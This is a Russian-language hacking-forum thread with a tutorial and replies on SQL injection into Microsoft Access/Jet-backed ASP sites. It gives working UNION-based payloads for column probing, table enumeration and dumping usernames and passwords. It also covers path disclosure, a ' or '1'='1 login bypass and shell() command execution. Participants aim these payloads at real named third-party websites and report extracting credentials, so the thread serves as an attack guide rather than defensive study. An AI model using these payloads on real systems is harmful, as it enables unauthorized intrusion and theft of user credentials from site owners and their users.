![]() |
Проведение SQL инъекций в Microsoft Access
Проведение SQL инъекций в Microsoft Access [Введение] В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно. Достаточно часто встречал вопросы, по этой теме, в том числе и на нашем форуме, но не видел вразумительных ответов =\ При этом ресурсы использующие MS Access достаточно распространены в сети. Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =) [Особенности MS Access] Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно. В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса). [B]Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Синтаксис SELECT: Код:
select [Предикат] Поля from Таблицы [in БазаДанных]Немаловажным свойством является отсутствие оператора LIMIT, вместо него можно использовать оператор TOP X START AT Y. Так же очень важным свойством, является отсутствие символов комментариев, что делает невозможным усечение основного запроса. Нет возможности использования нескольких запросов с применением разделителя “;”, данный символ означает окончание запроса, его подстановкой можно определить наличие каких-либо конструкций за уязвимым параметром, но не их выполнение. [Обнаружение MS Access] Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок следующего содержания: Код:
[Microsoft][ODBC Microsoft Access Driver]Код:
Microsoft JET Database Engine error '80040e14'[Подбор столбцов] Пусть ошибка присутствует в параметре id: Код:
www.site.com/view.asp?id=1’Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение! 1. Простой перебор. Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос Код:
www.site.com/view.asp?id=-1+union+select+1+from+usersКод:
The number of columns in the two selected tables or queries of a union query do not match.Код:
www.site.com/view.asp?id=-1+union+select+1, 2+from+users2. Использование оператора ORDER BY Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе. Составим следующий запрос Код:
www.site.com/view.asp?id=-1+order+by+1Код:
error '80020009'Код:
www.site.com/view.asp?id=-1+order+by+99999Код:
Microsoft JET Database Engine error '80040e14'[Определение принтабельных столбцов] Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы. Если например столбцов основном запросе 4, то составим запрос: Код:
www.site.com/view.asp?id=-1+union+select+1,2,3,4+from+users[Получение информации] После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом Код:
www.site.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123[Таблицы] Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает. В Access существуют следующие системные таблицы: Код:
MSysACEsКод:
www.site.com/view.asp?id=-1+union+select+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6Код:
www.site.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc... [Раскрытие путей] Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте. 1. Раскрытие системной директории. Составим запрос: Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'.'в результате получим ошибку и в ней путь: Код:
Microsoft JET Database Engine error '80004005'Составим запрос: Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\boot.ini'Код:
Microsoft JET Database Engine error '80004005'Код:
Microsoft JET Database Engine error '80004005'Составим запрос: Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\inetpub\sqlerr'Код:
Microsoft JET Database Engine error '80004005'Код:
Microsoft JET Database Engine error '80004005'Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа. Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например: Код:
www.site.com/view.asp?name=as'+and+'1Код:
user = request("user")Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения: Код:
user = ' or '1'='1При написании статьи использовались следующие материалы: Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=com_content&task=view&id=297&Item id=35 Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm Access SQL Injection, Brett Moore http://seclists.org/pen-test/2003/May/0074.html Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501 MSDN + мои практические наработки =) [ЗЫ] Надеюсь на то, что статья заполнит пробел в серии античатовских статей по SQL-инъекциям =) Конструктивная критика и дополнения приветствуются =) Специально для Antichat, [53x]Shadow© |
Цитата:
Цитата:
Насчет коментариев, на 99% уверен что коментарии работают "--" и "{", как появиться время поставлю потестю. И собсвенно вопрос [53x]Shadow Вы имеете ввиду JetDatabase или MS Access ODBE ибо это разные бещи... Цитата:
|
Ждал замечаний и вопросов от тебя =)
Цитата:
Цитата:
после нее пользуясь символом ";" вставить еще один запрос! вот пример, можешь потестить, здесь переменная последняя в запросе, дальше ничего нет Код:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1Цитата:
Цитата:
Хочу заметить, что СУБД Jet DataBase в ранних версиях использовала драйвер ODBC Microsoft Access Driver. Цитата:
Код:
Query input must contain at least one table or query |
Ну во первых хочу заметить что наличие ошибки не означает не выолнение запроса.
Дальше Коментарии Цитата:
Далее насчет обязательного from table берд. Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Далее пару слов о фильтрации и захреначим запрос не используя пробелов и их заменилей Цитата:
И вообще мое мнение что надо писать стать по SQL иньекциям как таковым ибо все похоже очень похоже разделять на классы и типы баз не очень нужно нужно просто знать что и где и почем. |
Цитата:
Просто мы с кэшем не поняли друг друга малость (разобрались в аське чтоб не флудить), все примеры, что привел кэш в пред посте верны. Просто инжектируемая конструкция в них впринципе не требует from table. Цитата:
ЗЫ Цитата:
|
Джетлмены, сколько раз в своей жизни вы встречали субд Мс аксесс?
|
Цитата:
При этом на достаточно интересных ресурсах, даже натовский сайт один попался. Надо понимать, что в основном не чистая Мс Аксесс попадается, а Jet Database(достаточно распространенная субд) кот. использует Access2007 в основе + IIS 6.0. Вообщем встречается и все чаще =\ |
Constantine
Вы не правы, MS Access используеться довольно развернуто, кроме того лишние знания данной СУБД не помешают. |
Хек епта.
Значит так =) "select не может быть без from" Еще раз пищу это полный бред.
Мое заключение по синтаксису, Запрос Цитата:
Поясню у нас был спор что запрос SELECT 123 В результате которого должна вывестить 123, будет работать только с FROM {TABLE}. |
Важные дополнения!!!
Доплнение Чтобы избежать дальнейших противоречий, вопросов и ссылок на непроверенные источники поднял у себя MS Access 2003 дабы убедится во всем самолично. При анализе так же использовалась утилита: ADO Query Tools Version 1.0.8 build 23 Copyright (c) Arbinada.com 2007 скачать Итак приступим... [Провайдеры] Для взаимодействия с MS Access обычно используются два провайдера(драйвера): Microsoft OLE DB Provider for ODBC Drivers Поставляется по умолчанию с Windows и Microsoft Jet 4.0 OLE DB Provider Устанавливается дополнительно в зависимости от нужд. У меня установился вместе с ADO Query Tools Поэтому при инъекции в MS Access одинаково часто можно встретить ошибки двух типов: Код:
[Microsoft][ODBC Microsoft Access Driver]Код:
Microsoft JET Database Engine error '80040e14'MS Access не поддерживает ни один вид комментариев! Как и было указано в самой статье - для усечения оставшейся части запроса после инжектируемого параметра не возможно воспользоваться символами комментариев типа "/*", "--", "#". Но при этом(важно!) для усечения можно воспользоваться нуль-байтом (%00) MS Access воспринимает его как конец запроса =) пример: Код:
www.site.com/view.asp?id=-1+union+select+1+from+users%00просто не учитывается и не подставляется в SQL-запрос вместе с параметром, что создает эффект усечения. [Шелл] В MS Access возможно в запросах использовать функции shell(), curdir() По умолчанию (для безопасности) использование этих функций отключено. В реестре ключ Код:
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxModeЕсли этот ключ каким либо образом (случайно или преднамерено) установлен в 0 возможно выполнение этих функций! Пример Shell: Код:
www.site.com/view.asp?id=1+and+shell('cmd /c calc')%00Пример CurDir: Код:
www.site.com/view.asp?id=1+union+select+CurDir()+from+table%00Необходимо знать имя таблицы и кол-во столбцов(как см. статью) [Обход фильтрации] В MS Access отсутствует функции concat(), поэтому для конкатенации используются операторы "+" и "&" При этом при http get необходимо учитывать что символ "+" надо заменять на %2B Для обхода фильтрации можно воспользоваться функций CHR() При этом надо помнить, что строки надо кодировать посимвольно! т.е. Код:
CHR(XX)%2BCHR(XX)%2BCHR(XX)%2B....В простых запросах SELECT как и писал [cash] можно обойтись без FROM TABLE Код:
select 123Но при проведении инъекции с внедрением своего запроса через параметр получается сложный запрос. При использовании конструкции UNION SELECT в объединяемом запросе необходимо присутствия FROM TABLE тоже проверено =) [ЗЫ] Инфа по теме http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html |
Нда, первый раз столкнулся с мс акцесс и облом... проблемма с подбором столбцов выдает такие фишки:
Цитата:
Цитата:
Зы таблица users точно есть |
Так сложно сказать, не сталкивался с такой проблемой, надо смотреть по ситуации.
Кинь ссылку сюда или в ПМ посмотрю. Не понятно по посту ты запрос отсекаешь дальше? Возможно там сложный запрос какой-нибудь и что после твоего инжекта дальше хез. |
ссылка:
_http://www.fppc.ca.gov/index.html?id=2+order+by+2 запрос пробовал отсекать так:%00, насчет сложного запроса неуверен т.к. ордер ошибок не выдает, вобще интересно есть ли какой нибудь приоритет ошибок, я про то что допустим если есть две разные ошибки к примеру синтаксическая ошибка и неверное количество полей в юнион селект, то сначала будет вылазить ошибка синтаксиса, а уж после ее устранения ошибка кол-ва полей? или приоритеты линейные? скорее всего конечно второе, но точно незнаю. |
Да очень странное поведение базы, возможно особенности Access 97 =\
Думал мож в users не 2 поля а 1, хотя странно, нашел еще таблицу content из кот. все и тянется в основном запросе, та же фигня при инжекте через union =\ |
2 [53x]Shadow спс что посмотрел, спасибо за статью, данные я из этой скули получил какие надо с помощью подзапросов...
Код:
http://site/index.html?id = 2 and asc(mid((select top 1 username from users),1,1))=106 |
Возникли 4 вопроса...
1)где в MSSQL по дефолту размещаются таблицы *.mdb? А то пытаюсь получить названия колонок в таблице(саму таблицу сбрутил) при помощи INFORMATION_SCHEMA,а мне выдается c:\windows\system32\inetsrv\INFORMATION_SCHEMA.mdb Could not find file.Если же проверить на существование таблицу customer(она на сервере точно есть), то получаю тот же результат.. 2) при запросах типа http://site.com/sh/category.asp?catid=1+union+select+1,2,3,4,5,6,7,8+ from+customer%00 (таблица,поля валидные;подбирал через ORDER BY) страница отображается,в title страницы стоит 6(т е вроде все ОК),но в конце странице приписывает ошибку: Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match. D:\xxx\xxx\../xxx/functions.asp, line 698 Что это значит?Что я обрубил запр с на переменной 'catid' , а там передается еще что-то? 3) Как,зная только кол-во полей,имя таблицы и не имея таблицы INFORMATION_SCHEMA,узнать структру этой таблицы? 4) Какие в MSSQL есть ф-ции,уязвимые к инклюдам,типа LOAD_FILD() и тд,доступ к которым есть по дефолту.Мне( см пример выше,удалось вызвать лишь time() и date().Остальные возврщают ошибку типа too few parametrs.Expected 1. Все,заранее спасибо тем,кто разжует чайнику эти вопросы. |
Цитата:
Во-вторых по умолчанию все файлы таблиц MSAccess расположены в ...\inetserv\*.mdb Цитата:
Цитата:
Цитата:
http://forum.antichat.ru/thread30501.html там есть встроенные процедуры... Что каксается MSAccess, то о специльных функциях я писал здесь: http://forum.antichat.ru/showpost.php?p=478552&postcount=10 |
Спасибо за ответы.Еще 1 вопрос...
При запросе типа http://xxx.com/xxx/category.asp?catid=-70004+union+select+1,2,3,4,5,password,7,8+from+cus tomer+where+email='johkel3@gmail.com'%00 выводится 8~?? Это есть пароль farmer27p(моя регистрация).Примеры других паролей: , h©?Y? x^(??] $w?? ”’ кодировку в браузере менял,не помогает.Что с этим вообще делать? |
Нужен исходник авторизационного скрипта.
Смена кодировке в браузере не поможет нечем. Скорей всего это хеш. Сам довольно часто встречал, Так же стоит не забывать что базы храняться в mdb тоесть и их идеальный просмотр может совершаться только через MicroSoft Access. Лично моя теория что есть какая то внутряння кодировка именно для колонок (password). Потаму что встречал базы где половина открытых а половину в такой вот херне. Вообще очень похоже на бинарник. |
Что делать, если при UNION возникает такая ошибка:
Цитата:
Инъекция в форме авторизации, но обойти не получается, так как в оригинальном запросе из таблицы выбирается вся информация только по логину (SELECT * FROM users WHERE username=[SQL]), а затем полученный из БД пароль сравнивается с тем, который я ввел. Подзапросы получаются, но не могу определить поле с паролем (название таблицы и поле с логином я узнал). Определить с помощью ' Group by id%00 не выходит, так как в запросе выбираются все данные, т.е. * Вытащил логины, но дальше не знаю, что делать. Доступа к MSysObjects нет. |
Столкнулся с такой проблемой, возьму для примера Url из этой-же статьи
------------------ http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1 ------------------ кол-во http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+order+by+8 ------------------ вывод: http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1,2,3,4,5,6,7,8+f rom+users cannot find the input table or query 'users' Нет таблицы, как я понимаю ------------------ http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1,2,3,4,5,6,7,8+f rom+user Syntax error in FROM clause А это что? Таблица есть , ошибка синтаксиса? ------------------ И такая фигня на нескольких сайтах Киньте ,кому не трудно,любой рабочий пример с выводом, сюда или в ПМ. |
Та же хрень,только на другом сайте.Исходя из логики,таблица юзер есть,но ошибка в запросе.
|
Мб это ещё может быть служебная команда или предикат, например as
|
"select ... from user"
использоваться нельзя, так как user это внутреннее имя и таблицой оно быть не может. |
Цитата:
password day catalog По личному опыту в 40% используетья префикс tbl tbl_ в 10% случаев <имясайта> <имясайта>_ По поводу системных таблиц Цитата:
Повышение прав аналогично с mssql. |
А может ктонить подробнее про повышение прав?
и еще на http://www.darkc0de.com/tutorials/MS...tion_Paper.txt читал про некоторую команду table.columnfromerror1 You can find the columns names by using HAVEING BY, for example HAVING 1=1 -- GROUP BY table.columnfromerror1 HAVING 1=1 -- GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and on and on ... Может кто-нить подробнее описать данную функу??? С примером, потому что как не пробовал не получается :( |
Никак немогу понять запроса
http://permnews.ru/l_otzv.asp?kt=5388' причем здесь двойные скобки и как делать union select? |
Цитата:
|
http://permnews.ru/l_otzv.asp?kt=5388))%20and%201=1%20and%20((1=1
слепая |
Может это считается за флуд, но у меня проблемка с Access'ом - при нажатии на нужное значение столбца(которое мне надо исправить) появляется такая ошибка: "Возникла ошибка при установке связи в приложении Microsoft Access с сервером OLE или элементом управления ActiveX" В режиме конструктора видно, что это Ole-Объект, но как его можно модифицировать?
P.S. На машине запущена служба, которая и записывает значение( тот самый Ole-объект) в файл. Моя аська в профиле. Плиз, помогите. |
пишу тут потому что в тему
можеть кто знает в Jet database error на запрос: Код:
=-1+order+by+5%00Код:
Microsoft JET Database Engine error '80040e14' =-1+order+by+4%00 страница открывается, но на нем тоже Код:
Latest News=-1+union+select+1,2,3,4%00 Код:
Microsoft JET Database Engine error '80004005' Может есть новые статьи по Jet database |
Попробуй заменить коментарий на -- или просто убрать его.
|
Цитата:
YuNi|[c Нужна таблица: Цитата:
|
У меня вопрос к автору темы:
Цитата:
start+at+2 - откуда вообще эта информация? Что это за start+at? Не в одних офф. документах - долго искал - такого синтаксиса select не обнаружено, на реальной скуле тоже не работает, как только не пробовал т.е. первая запись цепляется без проблем: Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+usersКод:
http://site.com/lala.asp?ID=-1+union+select+top+1+start+at+2+1,id,3,4,5,6,7+from+usersЦитата:
http://office.microsoft.com/ru-ru/access/HA012314971049.aspx по логике получается возможным перебор тогда только таким образом (универсально, т.к. я допускаю, что у меня какая-то нестандартная скуля, хотя очень сильно сомневаюсь): цепляем первую запись: Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+usersКод:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>34Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>39 |
Как вариант можно использовать такую же конструкцию, как в mssql
union+select+top+1+colname+from+tablename+where +colname+not+in+(select+top+n+colname+from+tablename) Пример: http://www.pcci.org.za/default.asp?id=-1+union+select+top+1+1,name+from+msysobjects+where +name+not+in+(select+top+47+name+from+msysobjects) |
2 ElteRUS:
Вот это действительно офигенный вариант, т.к. именно этот вариант позволит написать многопоточный брутер даже не зная названия autoincriment поля (по умолчанию ID обычно). Просто блестящая идея, риспект PS: И строка запроса по длине не будет раздуваться, т.к. меняется только число топов, и для конкатеции подойдет - гениальное решение, просто нет слов! |
Небольшое дополнение к статье
CONCAT in Ms Access пример, нужно выцепить NAME и PASSWORD из таблы USERS к примеру в одном запросе, делается так: Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,name%2bchr(58)%2bpassword,3,4,5,6,7+from+usersНО, если мы захотим также выцепить ID к примеру, то по идее должны составить такой запрос: Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+usersмы увидим примерно следующее: Цитата:
Но есть выход, т.к. в ms access есть функция конвертации любого значения в text type, это функция StrConv(var,[option]) где var - то, что конвертируем, а option - как конвертируем option: Цитата:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,StrConv(id,1)%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users1 : admin : qwerty |
Цитата:
|
там просто алгоритм другой чуть-чуть у меня:
select+table_name+from+information_schema.tables+w here+table_name+not+in+(table1,table2,table3...... .....) т.е. не на числе топов организовано а дамп непосредственно данных (вообще-то про что тут речь и идет - не название таблиц/колонок, а уже данные) осуществляется по autoincriment полю, которое указывается вручную, с предварительным подсчетом данных в таблице Вообще, если есть вопросы по тулзе, есть отдельная тема для этого здесь И потом тут речь идет об ms access, как бы проверить, что такой метод работает и тут можно было только экспериментальным путем, плюс в статье автора нет ни слова про такой метод, отсюда и неподдельное ура и риспект 2 ElteRUS Но суть понял потому побег переделывать mssql |
вот посмотри как я сделал это на мускуле, так как просто нет под рукой Tsql:
Код:
mysql> select * from test; |
| Время: 19:45 |